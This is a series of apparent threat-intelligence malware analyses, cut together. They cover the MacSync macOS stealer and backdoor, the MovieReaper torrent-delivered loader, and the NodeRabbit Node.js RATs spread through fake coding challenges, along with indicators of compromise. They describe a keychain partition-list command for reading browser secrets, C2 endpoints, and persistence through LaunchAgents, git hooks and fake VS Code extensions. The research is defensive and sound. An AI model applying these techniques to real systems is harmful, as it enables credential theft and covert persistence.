One detail stands out: instead of the usual encryption algorithms (XOR, AES, and so on), the attackers took a different approach to delivering malicious modules at this stage. It involves a selfmade utility called pkgunpack that implements two commands: genkey and decrypt. The malicious payload is decrypted as follows:

1. The malware generates a public and private encryption key pair using genkey command from pkgunpack, whose generation function relies on an open implementation of the elliptic-curve Diffie-Hellman protocol on Curve25519: curve25519_donna.
2. The public key is encoded in base64 and sent to the command-and-control server together with a one-time code generated by the command $(date +%s)-${RANDOM}-$$.
3. The server responds with the following JSON:
   

   {
       "ok": true,
       "dek_wrap_b64":  <base64_encoded_encrypted_key> ,
       "build_pub_b64": "pFSxn/Uwg9bS45aVKCzA+8exSMfDHXpbpHC/f7G472w=",
       "crypto": "v2.5"
   }

   
   Here, build_pub_b64 is the server’s public key, which is also predefined in the script itself, and dek_wrap_b64 is a base64-encoded string that contains the payload encryption key. This key is encrypted on the server side with a shared secret computed from the public key generated with pkgunpack on the victim’s device.
4. Then decrypt command from pkgunpack utility decrypts the key:
   1. A shared secret is computed from the server’s known public key and the private key for the current session, using the same ECDH Curve25519 key exchange scheme that was used to generate the keys.
   2. The resulting shared secret is concatenated with the string sn-dek-wrap-v1, and a SHA-256 hash is computed from the result.
   3. Next, the dek_wrap_b64 block received from the server is decoded. It has the following structure:
      1. The first 5 bytes: additional authenticated data (AAD)
      2. The next 12 bytes: the initialization vector (IV)
      3. The rest: the ciphertext
   4. The ciphertext is decrypted with AES in GCM mode using the previously obtained key, IV, and AAD.
      

      Decoded dek_wrap_b64

5. The result is the key for decrypting the downloaded malicious payload. The payload, in turn, also contains an AAD and an IV in its header and is encrypted with AES GCM. The utility decrypts it and terminates.

Note that at each individual stage, the utility zeros out buffers after using encryption keys and data, apparently to impede forensic data collection and dynamic analysis of samples.

As mentioned earlier, at this stage, the script downloads only two modules: an infostealer and a backdoor. Once decrypted, both are .TAR.GZ archives; their contents are extracted, stripped of all extended attributes (such as com.apple.quarantine), and signed with an ad-hoc signature. The infostealer module runs first: it collects the data it needs, places it in a temporary folder, and compresses it into a .TAR.GZ archive, which the script then sends to the attackers’ server. Next, before launching the backdoor, the script sets up persistence for it and creates a backup copy. The backup copy, along with the other files it needs to operate, is placed in $HOME/Library/Application Support/System. This directory doesn’t exist in macOS by default; the script creates it. The backdoor disguises itself as the Finder application and achieves persistence in the system through the following methods:

• A LaunchAgent named com.apple.finder.agent
• Injection of a command that runs the .repair-run script when the ZSH interpreter starts from the .ZSHRC
• Injection of a similar command, which also runs the .repair-run script, into the global GIT pre-commit and post-checkout hooks

The .repair-run script checks whether the backdoor files exist, restores them from a backup if they are missing, and re-creates and reloads the LaunchAgent. At the same time, it kills the BTMNotificationAgent, NotificationCenter, and BackgroundTaskManagementAgent system processes to prevent the system from notifying the user about the new LaunchAgent.

One last thing worth noting about the script at this stage is its use of a custom HTTP header, X-Upload-Token, without which the C2 server responds to requests with errors. During our research, we observed the use of the following tokens: b8b4b88205a8f594b95a841bc37342898f34cad8a5a9e4a22ce69a31a1208650 and ff3ab9ef841630364818396f62e696b72aed162cf0b895b6643ef25dad79b51d. The backdoor later uses these same tokens to communicate with the C2 server.

Infostealer

The infostealer module ships as an .APP application, with its main executable written in Swift. As with previous AppleScript-based versions, the malware first asks the user for the administrator password. It adapts the window it displays to match the application it is impersonating. After the password is entered, the user sees a window that imitates a system notification about a corrupted application, offering to move it to the trash.

Interestingly, instead of the method most macOS malware families use to verify a password, the dscl utility, the attackers used the Pluggable Authentication Modules (PAM) API. This is a fairly new technique for macOS malware, first observed in the wild in July 2026 in the Pam Stealer family. It apparently caught the attention of malware authors, and we may see it used more often going forward.

Many strings in the stealer (file names, directory names, team IDs, and so on) are XOR-encrypted and stored in static arrays. The encryption keys differ between samples and are generated based on the ciphertext length.

The set of data the stealer collects has expanded slightly compared to previous versions. The generalized list is as follows:

• Browser data: browsing history, cookies, crypto wallet extension data, saved logins and passwords, and Local State files
• Crypto wallet application data
• Telegram data
• Device login and password
• Keychain file
• System information: list of installed applications and running processes, device model, hardware, UUID, and so on
• Configuration files for SSH, ZSH, AWS, Kubernetes, GIT, and other services/programs
• ZSH and Bash command history
• Current user profile picture

The collected data is saved to a hidden directory in /tmp/.

The stealer module also has one interesting feature, disabled in all samples discovered so far and apparently still in development. Its purpose is to check whether the malicious application’s resources contain a file called KcHelper at <app_path>/Contents/Resources/Helpers, and, if the file is present, launch it with certain parameters. If this file is missing, a fallback function, _kc_grab_storage_item, is executed instead. Since KcHelper was not present among the application’s resources at the time of our research, we can only speculate about its purpose based on our analysis of this function. It first runs a command that modifies the partition_id of the keychain entry for a specific service so that three categories of applications can access it without user confirmation and without the keychain password:

• teamid: the application is signed with a certificate that has a specific teamID (in this case, the target application’s developer)
• apple: the application is an Apple service
• apple-tool: the application is an Apple command-line utility

security set-generic-password-partition-list -a <account_name> -s <service_name> -S <application_groups> -k <keychain_password> <keychain_path>

The stealer then uses the Security.framework API to try and retrieve the secret’s contents on its own, which still ends up triggering a confirmation request for the operation. It appears the threat actors plan to refine this feature in the future to gain unimpeded access to secrets even if the keychain password changes, but at this point, they haven’t managed to do so, which is why the feature is disabled. In the stealer’s encrypted strings, we saw examples of arguments for the command that modifies partition_id, which indicate that the attackers are after browser secrets. Example:

Chrome Safe Storage|Chrome|ChromeStorage|apple-tool:,apple:,teamid:EQHXZ8M8AV
Brave Safe Storage|Brave|BraveStorage|apple-tool:,apple:,teamid:KL8N8XSYF4

Backdoor

The backdoor is a Fat Mach-O executable written in Objective-C. It has two launch modes: a regular one and one with the --persist-status flag. In the second mode, it only checks how it was added to the persistence objects: as a Login Item or as a LaunchAgent. In standard mode, before proceeding to its main functionality, the backdoor also checks whether it has been added to autorun in any way. If not, it uses the same persistence mechanism as the parent script. However, for macOS versions older than 13.0, a separate helper executable stored inside the backdoor’s body is used regardless of whether autorun objects are present. The helper performs a single task: it uses the CoreServices.framework API to add the executable file passed to it as an argument to the Login Items.

As with the droppers from the early stages of the infection chain, the configuration for communicating with the C2 is stored in the executable’s overlay and encrypted with XOR using the same key. It consists of several strings separated by null bytes:

• AGNT1: a magic constant confirming that the configuration was decrypted correctly
• C2 server URL
• Access token: the same one used in the parent script
• BLD-150: the backdoor build number

The malware also writes logs to $HOME/Library/Logs/.sysnotif-agent.log and supports extended logging when launched with the LAUNCHER_DEBUG environment variable. Communication with the C2 takes place over HTTP. The server’s response should be a JSON file.

Method	URL path	Request parameters	Description
GET	/v1/agent/ping	tag: the victim’s unique ID combined with the backdoor build number build: backdoor build number	Used to receive a command. The response is expected to contain a cmd field with the command to execute. If a 403 error is received, meaning the access token has expired, the backdoor tries to refresh it with a request to /v1/agent/refresh.
POST	/v1/agent/refresh	tag build old_token: previous token	The response is expected to contain an upload_token field, whose value becomes the new token.
POST	/v1/asset/<upload_id>/init	upload_id: an identifier for the object being uploaded, generated randomly based on a timestamp, the process ID, and a random four-byte number	Used to create a file on the server, into which the file from the victim’s device is later uploaded in parts. When the file is created, its size is passed in the X-File-Size header, and its SHA-256 hash is passed in X-File-Sha256.
PUT	/v1/asset/<upload_id>		The request that actually uploads the file to the server.
POST	/v1/agent/<command_status>	command_status: a status unique to the commands the agent executes tag upload_id: the ID of the file uploaded to the server (if any) phase: information about the command being executed or its stage message: a message active: command in-progress flag (true = still running; false = finished)	This URL endpoint is accessed at various stages of the backdoor’s operation. Information about command execution status serves as a telemetry source for the attackers.

Although the backdoor offers several different commands, they all boil down to the same action: extract the base64-encoded AppleScript script from the script_b64 field in the server’s response and execute it. Individual command handlers then act as wrappers around the scripts, correctly populating telemetry and sending requests to the C2 server. Based on the command names and the messages sent to the server during their execution, we can reconstruct their purpose without having the scripts on hand. The backdoor supports the following commands:

• deploy_ext: deploy an extension downloaded from the server into the victim’s browser.
• deploy_ledger: replace the installed Ledger wallet with the version from the server.
• regrab: collect system information and/or specific files again. This time, the collected data is packaged into an archive typical for the MacSync family, at /tmp/osalogging.zip, unless a different path is specified in the archive_path field sent along with the command.
• live_browser: the only command executed without an AppleScript script. The backdoor checks for the presence of the sn_relay file among its resources, and if it’s not found, downloads and executes it. Its content and purpose remain a mystery to us, but based on the command name and the messages sent to the server, we can assume that the attackers somehow implement a MitM attack on traffic originating from the victim’s browser.

Takeaways

The new version of the MacSync infostealer differs quite significantly from its previously observed variants. The attackers have substantially overhauled their approach to executing the stealer’s and backdoor’s main malicious payload, moving from AppleScripts to full-fledged executable files written in Swift and Objective-C. It’s also worth noting the more complex infection chain: instead of obfuscated shell scripts delivered through ClickFix attacks, this version used binary droppers and loaders, some of which leveraged Apple’s infrastructure as one of the intermediate stages for delivering the malicious payload.

The nature of the data attackers seek to collect from a victim’s device, as well as the categories of applications the stealer disguises itself as, clearly indicates that this malware family primarily targets developers, crypto enthusiasts, and other users associated in some way with IT and the crypto space. MacSync’s compromise of software developers’ devices poses particular security risks for both end users and corporate systems, opening up expanded opportunities for attackers to further their intrusion.

Indicators of compromise

Stage one loader
26a0f7cdb9f7dc5ace9a40af825b1538
2d69812584269699fade26622e6490c5
7df1049cbd56c0bfa4a3364a379b4c2c
9f15fe9c4415cd668334339f705b94d8
fb90887592655a8c989e443c640167aa
6791dad263cac6d63ebba6a4b57e7d71

Malicious calendar (stage two)
3ded1d71a822b53b12c3b67bcaf633f5

Stage three dropper
781ce50001d4b449600afa347c9b0208
8e84b01d5ac9624f0b181ade0e737193
980e2134679bc0c609f7659882883d77
4203ec932bfcc0907f91732440d6d997
eb760d5c88f13f7ee0f8f86ba3407123
f9f70096aabb4d22a6657014f4853a53

Stage four dropper
3deeed48fd38f22e369f5c3092bd68a1

Stage five script
f97d24212fa6a21be0c4d211e10f044c

Stage six script
00d12d842596bf5ee1805effb4571d30
9a0043d900a9ac78c886c59c9a328fd0

Auxiliary .repair-run script
7212229c85852c3bffaf9740002b2f39

Infostealer
c53d0ea45dbc622afb7f16ea3eec78bc

Backdoor
fc3ba5ed282d77127efd0b0f2403531b

Auxiliary autorun tool
8dc8561349d144d4661bc66f2ec49f9f

URL
hxxps://toria[.]app/
hxxps://warpcast[.]asia/Toria.dmg
hxxps://streamyard.appstore.com[.]mx/installer.sh
hxxps://slack.apple03cloudstore[.]com/installer.sh
hxxps://toria.apple03cloudstore[.]com/
hxxps://waaako.appstore.com[.]mx/installer.sh
hxxps://toria.apple03cloudstore[.]com/e3c1a6b00bc31e14/stage2.enc hxxps://docsend.appstore.com[.]mx/dcc737d157ef4271/stage2.enc
hxxps://docsend.appstore.com[.]mx/dcc737d157ef4271/CoreUpdate.pkg.enc
hxxps://docsend.appstore.com[.]mx/dcc737d157ef4271/Helper.pkg.enc
hxxps://caldav.icloud[.]com/published/2/MTk1NDMwMDMzNTUxOTU0M1aHCZ-nMxiyGzBTzPiodOf44DtKJ6PpjftAG28_ui2NCYMpL_vu4pF4ddsJ8ysg0QI7pR0VEIEbZYdilVZRw08
hxxps://gateway.icloud[.]com/caldav/1_MTk1NDMwMDMzNTUxOTU0M0pybtJB186GzhogprwCQUjY3oZNiDFHH8WVo6bmgUtI/attach/4GE4TKNBTGAYDGMZVGUYTSNJUGOAALDAFMDOJBGWNUCYJLZRNDCLCO2YMQ3I64RLGMNXVG3KYBPWQOGYIEI7MPBDDYHECFDYVENTXIYFNDCPOVRMCTYI236RCYZAE63V5U3RTUYGUMO2CO7PKCLWMCXE73M7OPTHSGRWH5DXQ4PCUQU4ELZTLW54JSTK2H7VQ6PD26WOA2R7PPIQ6RTJWDEWP34U3HB4YWMXXC6EJ6PKWILSPYRSDEVY6QGMWSIUN6PR5W35KO3D4QZE7CFPUVBAEKI/Loader.app.tar.gz/YXR0YWNoYXR0YWNoYXR0YRhrE8mQ0E-b_dTUSGStQgTQ0ULFxCanei3Ke-EuEyQL

C2
hxxps://docsend.appstore[.]com[.]mx
hxxps://toria.apple03cloudstore[.]com

Introduction

Torrent trackers have long been abused for distributing malicious software, disguised as popular films, games, and other content. Our previous research has shown that cybercriminals repeatedly turn to torrents as an initial infection vector, using trojanized cracks and installers to reach a large number of users. Installation guides for pirated software routinely instruct users to disable their antivirus, conditioning them to ignore the potential threats they are inviting onto their computers.

During our analysis of malware that leverages blockchain networks for its C2 infrastructure, we discovered a previously unknown modular, multi-stage framework that we dubbed MovieReaper. This report details the new crimeware campaign that began with the mass infection of users via compromised torrent tracker file storage. We have identified several hundred victims, including both individual users and organizations in multiple countries, such as Russia, Türkiye, Japan, Kenya, Uganda, and Colombia, as well as in several European countries like Spain, the Netherlands, Belgium, and Germany. We analyze the techniques for evading detection by security and sandbox solutions, and examine the capabilities of the modular framework.

Kaspersky products detect this threat as HEUR:Trojan.Win64.Agent.gen.

Technical details

Background

In mid‑August 2026, during our threat‑hunting efforts, we identified a large‑scale infection campaign involving previously unknown malware disguised as popular movies. The campaign affected both individuals and organizations across multiple countries. Our initial analysis revealed a common denominator: all of the victims had used torrent trackers. This finding prompted us to investigate the campaign further and analyze its distribution mechanism, overall scope, and unknown malware implants.

Initial infection and spread

Compromised torrent trackers are the primary vector used to distribute malware. During our investigation, we identified multiple user reports describing suspicious files being downloaded instead of the intended content.

For example, a user of a popular movie torrent tracker reported the following case on Reddit:

Further analysis of the attack revealed that instead of compromising torrent trackers, the threat actor modified a widely used public repository of torrent files, itorrents[.]org. As a result, the trackers that relied on the repository began inadvertently distributing malicious torrent files to their users. This approach is particularly dangerous because it lets the threat actor reach users of multiple trackers without having to compromise each platform individually.

As of the publication date of this report, the archive remains compromised. When a user attempts to download a torrent via a magnet link, the legitimate torrent archive returns a different torrent file. This malicious torrent leads to the download of the malware loader, used to deploy a framework that we dubbed MovieReaper.

The loader initiates the infection chain shown in the diagram below. Each stage of the chain is described in detail in the following sections.

Malware implants

The infection chain consists of several steps, where only the initial one is dropped on the disk before it is executed to avoid detection. The malware itself is not heavily obfuscated, apart from strings being encrypted with a custom stream cipher. Most of the countermeasures were aimed at avoiding detection by AV sandboxes.

Step 1: Loader

The most popular initial executable was distributed through torrent trackers under many different names (for example, the odyssey (2026) [1080p] [webrip] [5.1].exe), but the file hash (MD5: A0B13781EDD7CFDAB13D79AFFF3C83C1) was identical across all downloads. We have seen multiple different loaders, where the executable file disguises itself with a long filename and an icon of some well-known application. Most of the filenames are rather long, presumably to hide the EXE extension at the end.

After the user manually starts the application, it establishes a global mutex to ensure that only one loader is executed at a time. We have seen several mutex variations in our samples, containing a randomly generated string (in the example Global\fnulSktzSqvVLXHU). This executable then performs a series of operations in order to avoid detection by AV sandbox solutions.

While performing those operations, the malware avoids making LoadLibrary and GetProcAddress calls to acquire the addresses of required functions. Instead, it searches for loaded libraries by traversing the double-linked list taken from the Ldr field of the PEB and then performs manual parsing of the loaded DLL to calculate the function address.

After all initial checks have passed, the binary prepares to establish a network connection to a C2 web server to download the shellcode, map it to the RWX memory and execute. While doing so, the loader decodes the domain name https://deadhub[.]org and if connection to it has failed, it uses the IP address http://193.23.118[.]155 as a fallback and connects to it using plain HTTP. The malware chooses a random group of strings and uses them as a path in the HTTP request to download the parts of the shellcode.

Example URLs:

/cloud/v192.4/ui/sync-status-icons.png
/cloud/v192.4/onboarding/welcome-bg.jpg
/cloud/v192.4/ui/file-preview-placeholder.png
/cloud/v192.4/shared/link-banner.jpg

While mapping the address space and executing the shellcode, the loader registers a vectored exception handler and rewrites the handler address in memory in order to perform a debug break. This, will not crash the program, but instead redirect controlflow to the function that actually makes a raw NtProtectVirtualMemory syscall (via a previously located “0x0F 0x05” syscall instruction inside ntdll). Then it calls the undocumented ntdll function EtwpCreateEtwThread, which is a popular alternative to  CreateThread for code executionm, and executes the shellcode.

Step 2: Shellcode

The second stage of this malware performs an HTTPS request to the Solana blockchain at the endpoint /getAccountInfo endpoint for the account 6pnDGAiHgyPdmckM5Qt1YbanGzrX43WLEU159nRaNLDm. The data in field of the response contains the base64‑encoded address of a second C2, which is encrypted with a static XOR key located within the shellcode itself. To store data in this account, attackers used a simple Solana program (address: CSiY8bQLBYPdfPWkwipBzH6sijTVQVVsA279JQdvwHtL).

Utilizing the Solana blockchain as a storage layer for next-stage C2 endpoints substantially complicates infrastructure takedown efforts by defenders.

The second stage payload communicates with its C2 server strictly through HTTPS via a TLS-pinned certificate using the nanopb protobuf library as a container for transferred data. The main logic of the stage 2 implant contains several initial commands, where the most important is the one that parses the COFF file, loads it into memory, and executes the module_init function from it. This provides a convenient interface for extension of the command list, which brings us to the next stage of the payload.

Step 3: UAC Bypass and persistence

Notably, the recovered modules were compiled with symbols, which accelerated reverse engineering.

After receiving the next stage from the second C2 server, the newly loaded module performs several tasks right in the module_init function.

Stage 3 performs UAC Bypass and achieves persistence using public techniques, masquerades the original binary as C:\ProgramData\Microsoft\Windows\Telemetry\msedge.exe, and restarts itself.

The respawned process starts with the initial loader, but with a special command-line argument, which allows it to skip most of the anti-sandboxing checks and proceed straight to downloading the next payload. The executable proceeds with the same steps as before, but this time, instead of downloading the persistence and UAC bypass module, a new one is downloaded from the second C2 server. This is because the malware uses the beacon to send a flag to the remote server, indicating whether the implant is running from the Telemetry folder, which allows the C2 to distinguish between first-run and respawned instances.

Step 4: The final implant

The final module (“file manager”) exposes 21 commands that give the operator filesystem access on the victim host. This allows remote the operator to download, upload, and read files on the system; list and enumerate directories; manipulate files with create, copy, rename, move, delete, chmod, and symlink commands; and use preview and thumbnail commands to exfiltrate previews of images and files before actually extracting them.

We suspect that other modules may be loaded on demand if requested by the operator.

Infrastructure

During this malware campaign, attackers are using various commercial hosting providers for their C2 infrastructure (see the IoC section for details). Furthermore, as noted above, the campaign leverages the legitimate Solana blockchain via the RPC endpoint api.mainnet.solana.com to deliver the address of the second‑stage C2 server to the malware. This approach provides the attackers with decentralized storage for C2 addresses, adding an additional layer of resilience and making it more difficult for defenders to disrupt the campaign by simply blocking the IP addresses of the C2 servers.

Victims

The observed campaign targeted both individuals and organizations across Europe, Asia, Africa, and Latin America, with infection attempts identified in Russia, Spain, Germany, Finland, Türkiye, Japan, Nepal, Kenya, Tanzania, Ghana, Uganda, Colombia, the Netherlands, Belgium, and other countries. The targeted organizations span a wide range of sectors, including enterprise, government, IT, consulting, retail, transportation, and agriculture.

Conclusions

Our research uncovered activity by the same actor dating back to October 2025. Although the campaign has evolved over time, with the malware authors expanding their arsenal and making the loader harder to detect, the pattern remains the same. This includes encoded strings, parts of shellcode downloaded through plain HTTP, and several techniques used to avoid sandboxes and virtual machines. We will continue monitoring this actor’s activity to catch new potential threats.

The first stage offers the clearest opportunity to disrupt this campaign: it relies on a single specific domain name and a single IP address to serve the shellcode, so taking down this server would prevent subsequent infection stages. This includes the second-stage payload, which uses the Solana blockchain network for a C2 and is therefore more resistant to conventional infrastructure takedowns.

However, this framework’s self-containment, modularity and in-memory execution has potential for reuse in later campaigns with minimal rework.

Indicators of compromise

File hashes

4334BBAEA8DE33BF9D45E9B4E4E3BC2
4843F9FAFCAE492F11E2D4D33DBB4CDD
5310CABAE3FBE6DB8742849B588093F9
A0B13781EDD7CFDAB13D79AFFF3C83C1
70060341CAF3338697A7DDFE0FB62875
AD4643EEA15AC286FA47D1131F9EF756
D0B967571AC8A3863C7F324BF5BDE99C
D88D550D0FB8E60CFFFF3EA61FF7A067

File paths

%ProgramData%\Microsoft\Windows\Telemetry\msedge.exe

Mutexes

Global\E4AyDKzvEhe2hgAr
Global\fnulSktzSqvVLXHU

Domains and IPs

First-stage C2:
deadhub[.]org
193.23.118[.]155

Second-stage C2:
208.64.33[.]90
208.94.246[.]53

While monitoring Mirage Kitten activity, we uncovered a previously undocumented malware family that we dubbed NodeRabbit. We identified the first sample on a system in Afghanistan. Further threat hunting revealed two additional, more advanced, variants: one on a system in Egypt and another on a system in Ethiopia.

NodeRabbit is a cross-platform remote access trojan (RAT) built with Node.js. It targets Windows, Linux, and macOS. Its operators deliver it through spear-phishing messages on LinkedIn and other job search platforms that contain trojanized coding challenge archives.

During the same investigation, we discovered another previously undocumented malware family that we dubbed PollCat. Like NodeRabbit, PollCat is a cross-platform RAT, but it is written in obfuscated JavaScript also distributed through trojanized coding challenge archives.

Mirage Kitten has historically relied on native malware written in languages such as C, C++, and Go, often deploying it through DLL search-order hijacking. NodeRabbit and PollCat represent the first publicly documented use of Node.js- and JavaScript-based malware by this APT group.

Kaspersky’s products detect this threat as Trojan.JS.MirageKitten.*

Background

During recent threat research, we detected suspicious activity on a system in Afghanistan. We traced it to an archive containing a software development project that the user may have received during a job application process. The archive purported to contain a coding challenge for candidates applying for an engineering role.

The archive, Front-Technical-Challenge.zip (MD5: 1EA83E4E4592B01E4ACAB63EB867BEE5), was hosted in an Amazon S3 bucket at: https://oracle-challenge.s3[.]us-east-1.amazonaws[.]com/Front-Technical-Challenge.zip

It contained TaskFlow, an app for software engineering assessment built with Express, React, and Vite. The accompanying README instructed the candidate to review the application and fix defects in its frontend. It also claimed that server.js was bug-free and should not be modified, conveniently directing attention away from the only application source file the attackers had altered.

The README also imposed a three-hour time limit and prohibited the use of AI assistants. Notably, an AI code-review assistant tasked with auditing the project would likely have flagged the suspicious first-line import of an unknown npm package and warned the targeted developer that the project was trojanized.

The first line of server.js imported a trojanized npm package named colorized_terminal, version 2.1.0. The attackers bundled the package directly in the challenge task archive’s node_modules directory rather than publishing it to the npm registry. When imported, the package silently launched an implant from node_modules/.cache/.320697f1/index.js as a detached background process.

Retrospective threat hunting across our telemetry revealed the broader scope of the campaign. We identified three NodeRabbit variants with a shared code lineage; each was recovered from a system in a different country. The operators delivered the variants through similarly themed coding challenges and used two trojanized packages, colorized_terminal and pretty-log, both pinned to version 2.1.0.

The campaign also delivered PollCat, a second RAT with a substantially different structure, through a separate coding challenge lure. We’ll analyze PollCat later in this research.

Initial access

The infection chain begins with fake recruiter accounts contacting prospective targets on a job search platform. According to a publicly cited source, a threat actor posing as a talent acquisition specialist at a major technology company contacted a software engineer and advertised a job opening, inviting the target to complete a technical assessment.

The target received a link to a coding challenge hosted on Amazon S3 and was pressured to download and run the project immediately. This public post matches the delivery chain we reconstructed from our telemetry: recruiter outreach on a job search platform, a coding challenge presented as a technical assessment, and a trojanized project archive hosted on legitimate cloud infrastructure.

NodeRabbit RAT: the first variant

We discovered the first NodeRabbit variant on a system in Afghanistan. The malware was concealed within the TaskFlow assessment at node_modules/.cache/.320697f1/index.js and executed by the trojanized colorized_terminal package.

Once running, NodeRabbit generates a unique agent identifier from available host information. It calculates the SHA-256 hash of the hostname, username, operating system version, architecture, and MAC address, then truncates the result to its first 32 hexadecimal characters.

NodeRabbit binds a TCP listener to 127.0.0.1:48739. This listener acts as a single-instance mechanism. If the malware cannot bind to the port, it assumes that another instance is already running and terminates silently.

NodeRabbit uses a persistence mechanism for each operating system:

Operating system	Persistence mechanism
Windows	Copies itself to %APPDATA%\Microsoft\EdgeUpdate\msedge_update.js; clones the local node.exe to nodew.exe in the same folder and patches its PE subsystem from Console to Windows GUI to suppress the console window; creates HKCU\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftEdgeUpdate registry key executing nodew.exe msedge_update.js
Linux	Copies itself to ~/.config/microsoft-edge-update/msedge_update.js and creates an @reboot cron entry that invokes the script using the current Node.js executable.
macOS	Copies itself to ~/.config/microsoft-edge-update, creates ~/Library/LaunchAgents/com.microsoft.edgeupdate.plist configuration file pointing at the copy’s location with RunAtLoad and KeepAlive parameters, and attempts to load it.

The malware communicates with its command-and-control servers through three API endpoints, choosing from the following Azure-hosted C2 infrastructure addresses. On failure, it switches to the next C2 address:

1.	https://plugplay.azurewebsites[.]net
2.	https://Rgbteller.azurewebsites[.]net
3.	https://Wslwebui.azurewebsites[.]net

Method	Endpoint	Purpose
POST	/api/rabbit/checkin	Register agent and host info
POST	/api/rabbit/task	Poll for commands
POST	/api/rabbit/result	Submit results

NodeRabbit serializes each C2 request object as JSON and wraps it with AES-256-GCM. The AES key is the SHA-256 digest of an ASCII seed embedded into the agent. Every request uses a fresh 12-byte IV and a 16-byte authentication tag:

The malware sends encrypted requests using the following structure:

{
  "d": "base64(IV || ciphertext || authentication_tag)",
  "_r": "8 hexadecimal characters",
  "_t": "epoch timestamp"
}

C2 responses are structured the same way and may contain a command to execute. We observed the first NodeRabbit variant supporting 11 commands:

Command	Functionality
sys:info	Return hostname, domain user information, username, and process ID.
proc:list	List running processes.
proc:start	Execute an arbitrary shell command.
fs:list	List a directory.
fs:read	Read a file in chunks and return Base64 data.
fs:write	Decode Base64 and write it at a chosen file offset.
fs:delete	Delete a file or recursively delete a directory.
fs:mkdir	Create directories recursively.
net:config	Enumerate adapters, MAC addresses, IP addresses, and DNS settings.
agent:sleep	Change the beacon interval.
script:exec	Write a base64 Node.js script to a randomly named .tmp file, execute it and delete it.

NodeRabbit RAT: the second variant

Retrospective threat hunting following the discovery in Afghanistan led us to a second infection on a system in Egypt. This sample is a more advanced NodeRabbit variant, launched through the trojanized pretty-log package instead of colorized_terminal.

Before running its core functionality, the malware checks whether the host resembles an analysis environment. It terminates if it detects limited system memory, a low CPU count, short system uptime, analyst-associated usernames or hostnames, or common analysis tools running on the system.

Before terminating, the malware generates benign HEAD requests to www.google.com, www.microsoft.com, and www.cloudflare.com, then exits without ever contacting its C2 infrastructure. Most likely, it attempts to look less suspicious by showing some benign activity before exiting.

Variant 2 implements partial corporate proxy support: it checks HTTP(S) proxy environment variables, Windows Internet Settings, including an explicit PAC URL, and WinHTTP configuration; tunnels its HTTPS C2 through HTTP CONNECT. It first tries to establish an unauthenticated connection. If it fails, it retries using URL-embedded basic credentials. Finally, it delegates Windows NTLM/Negotiate challenges to curl.exe --proxy-anyauth --proxy-user. It caches the proxy-discovery result, including when no proxy is found, for five minutes. If the polling loop detects a network-interface or IP-address change, it clears the cache and runs proxy discovery again on the next checkin.

To make sure a single instance is running, Variant 2 uses a host-specific port derived from the agent identifier instead of the fixed TCP port used by the first variant. It interprets the first four hexadecimal characters of the identifier as an integer and applies the following calculation: 41984 + (value mod 5000).

The resulting listener port falls between 41984 and 46983. Unlike the shared port used by Variant 1, this port varies depending on the infected host.

For persistence, Variant 2 masquerades as Intel Driver & Support Assistant. The exact persistence mechanism, once again, depends on the operating system.

Operating system	Persistence mechanism
Windows	Copies itself to %LOCALAPPDATA%\Intel\DSA\idriver_support.js. It then copies the local node.exe binary to IntelDSA.exe and changes its PE subsystem from Console to Windows GUI, suppressing the console window. Finally, it creates a scheduled task named IntelDriverSupportUpdate, which runs daily at 10AM and executes IntelDSA.exe with the dropped script.
Linux	Copies itself to ~/.config/intel-dsa/idriver_support.js and creates an @reboot cron entry.
macOS	Copies itself to ~/Library/Application Support/Intel DSA/idriver_support.js and creates the LaunchAgent com.intel.dsa.helper with RunAtLoad and KeepAlive enabled.

NodeRabbit RAT: the third variant

Further threat hunting identified a third NodeRabbit variant on a system in Ethiopia. Like the second variant, it is launched through the trojanized pretty-log package. It retains much of the previous variant’s functionality but introduces significant changes to its command-and-control configuration, command set, and persistence mechanisms.

The third variant communicates with its C2 infrastructure through a different set of API endpoints:

Method	Endpoint	Purpose
POST	/sdk/v2/ready	Register agent and host info
POST	/sdk/v2/config	Poll for commands
POST	/sdk/v2/events	Submit results

We observed the malware using a C2 chain composed of Azure- and Cloudflare-hosted domains.

1.	https://visitfinancedentists[.]com
2.	https://kyrasey-f8hfexa5cqamh7fk.westeurope-01.azurewebsites[.]net
3.	https://healthcomfsdpower[.]com

For persistence, Variant 3 implements the following mechanisms depending on the operating system in use:

Operating system	Persistence mechanism
Windows	Attempts to copy the payload to ProgramData or LocalAppData, create a build-specific daily 10AM task, and start the copied payload. To choose the exact directory, it tries to list C:\Windows\System32\config. If successful, it selects ProgramData with /ru SYSTEM /rl highest; in case of a failure, it selects LocalAppData without explicit /ru or /rl settings.
macOS	Copies the payload to ~/Library/Application Support, creates and loads a RunAtLoad/KeepAlive LaunchAgent and starts the copied payload.
Linux	Copies the payload to ~/.local/share, attempts to add an @reboot cron entry, and starts the copied payload. If crontab -l fails, persistence is skipped.
WSL	Uses the payload copied for persistence on the main Linux system, as described above. Writes launcher.vbs under the Windows user profile, and creates a daily 10AM Windows task that relaunches it through wscript.exe and wsl.exe.

A new command, agent:servers, replaces the active in-memory C2 server list and can write the updated list to .sv.json. The third variant retains the original 11 commands and adds 12 new ones, bringing the total to 23.

New commands	Functionality
fs:drives	Enumerate accessible Windows drive letters or WSL-mounted drives
proc:exec	Execute a process
proc:kill	Kill process by PID or image name
agent:servers	Replace the active C2 and attempt to keep the new configuration
agent:getchain	Return the current C2
outlook:emails	Harvest account addresses from Outlook OST and PST artifacts
persist:check	Check selected VS Code, scheduled-task, and Run-key persistence indicators
persist:vscode	Attempt to install a fake VS Code extension and Windows Run value
persist:vscode:remove	Remove the fake extension
persist:projects:scan	Search recent and common development locations for Git repositories
persist:project:inject	Inject a launcher into a repository’s Git hooks
persist:project:remove	Remove the marked Git-hook launcher

Beyond the persistence mechanisms described above, Variant 3 introduces two additional persistence mechanisms that relaunch the malware through common developer workflows.

1. Malicious VS Code extension

The persist:vscode command first copies the payload to its build-specific install path. If a compatible extension directory exists, it creates a fake extension displayed as GitHub Copilot Helper, with the description AI coding assistant helper service and the activation event on StartupFinished.

The extension’s extension.js file attempts to start the installed payload as a detached Node.js process. To look less suspicious to the user, it uses a trusted publisher name borrowed from local extension metadata or a trustedPublishers value found in state.vscdb. However, no signature or trusted status is copied.

Separately, the handler tries to disable Workspace Trust if the VS Code User directory exists. On Windows, it attempts to establish persistence using a current-user Run registry key value even if the extension directory is missing.

2. Git hook injection

Git-hook persistence works in two steps. First, persist:projects:scan checks recent VS Code workspace paths directly. Under common locations such as ~/projects and ~/source, it checks only the first 60 immediate children, not the root itself, and returns no more than 20 repositories.

